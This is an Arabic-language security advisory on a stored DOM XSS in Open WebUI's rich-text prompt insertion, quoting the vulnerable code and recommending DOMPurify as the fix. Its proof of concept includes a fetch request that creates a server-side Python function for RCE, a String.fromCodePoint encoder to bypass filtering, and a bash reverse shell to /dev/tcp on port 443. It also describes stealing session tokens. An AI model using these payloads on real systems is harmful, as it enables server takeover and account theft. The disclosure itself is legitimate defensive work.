
Open WebUI عرضة لـ Stored DOM XSS عبر المطالبات عند تمكين خيار 'Insert Prompt as Rich Text' مما يؤدي إلى ATO/RCE
Open WebUI معرض لـ DOM XSS المخزنة عبر المطالبات عند تمكين 'إدراج المطالبة كنص منسق' مما يؤدي إلى ATO/RCE

الوظيفة التي تُدرج المطالبات المخصصة في نافذة المحادثة معرضة لـ DOM XSS عند تمكين 'إدراج المطالبة كنص منسق'، حيث يتم تعيين نص المطالبة إلى موصل DOM .innerHtml دون تنقية. يمكن لأي مستخدم لديه صلاحية إنشاء المطالبات استغلال ذلك لزرع حمولة قد يتم تشغيلها بواسطة مستخدمين آخرين إذا قاموا بتشغيل الأمر / المقابل لإدراج المطالبة.
السطر المتأثر هو
open-webui/src/lib/components/common/RichTextInput.svelte
Line 348 in 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnerable
يتم تعيين HTML المُتحكم به من قبل المستخدم من نص المطالبة إلى tempDiv.innerHTML دون تنقية (ذات معنى). marked.parse يُضيف بعض القيود على الأحرف لكنه لا ينقي المحتوى، كما هو مذكور في ملف README الخاص به.
إثبات المفهوم (PoC)
أنشئ مطالبة مخصصة كالتالي:

عبر الإعدادات، تأكد من تمكين 'إدراج المطالبة كنص منسق':

قم بتشغيل الأمر /poc عبر نافذة المحادثة.

لاحظ تشغيل التنبيه.

نظرًا لأن المسؤولين يمكنهم بشكل طبيعي تشغيل كود Python عشوائي على الخادم عبر ميزة 'الوظائف'، يمكن استخدام XSS لإجبار أي مسؤول يقوم بتشغيلها على تشغيل إحدى هذه الوظائف بكود Python من اختيار المهاجم.
يمكن تحقيق ذلك عن طريق جعلهم يقومون بتنفيذ طلب الجلب التالي:
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
لا يمكن القيام بذلك مباشرة لأن استدعاء marked.parse الذي يمر عبره HTML سيقوم بتحييد الحمولات التي تحتوي على علامات اقتباس.

للتغلب على هذا، يجب بناء السلاسل يدويًا من قيمها العشرية باستخدام String.fromCodePoint. يقوم برنامج Python التالي بأتمتة توليد حمولة قابلة للاستخدام من JavaScript معطى:
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
مسؤول يقوم بتشغيل الحمولة المقابلة عبر أمر مطالبة سيقوم بتشغيل وظيفة Python تقوم بتشغيل حمولة ريفيرس شل، مما يعطي وصول سطر الأوامر على الخادم للمهاجم.

أي مستخدم يقوم بتشغيل المطالبة الخبيثة قد يتم اختراق حسابه عبر JavaScript ضار يقرأ رمز الجلسة الخاص به من التخزين المحلي ويُسرّبه إلى خادم يتحكم به المهاجم.
مستخدمون مسؤولون يقومون بتشغيل المطالبة الخبيثة يُعرضون خادم الخلفية لخطر تنفيذ الأوامر عن بُعد (RCE) حيث يمكن استخدام JavaScript الضار الذي يعمل عبر الثغرة لإرسال طلبات كمستخدم مسؤول تقوم بتشغيل وظائف Python ضارة، والتي قد تشغل أوامر نظام التشغيل.
USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS، والذي قد يُمنح عبر مجموعة مخصصة على سبيل المثال. انظر: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissionsقم بتنقية HTML المُتحكم به من قبل المستخدم باستخدام DOMPurify قبل تعيينه إلى .innerHtml.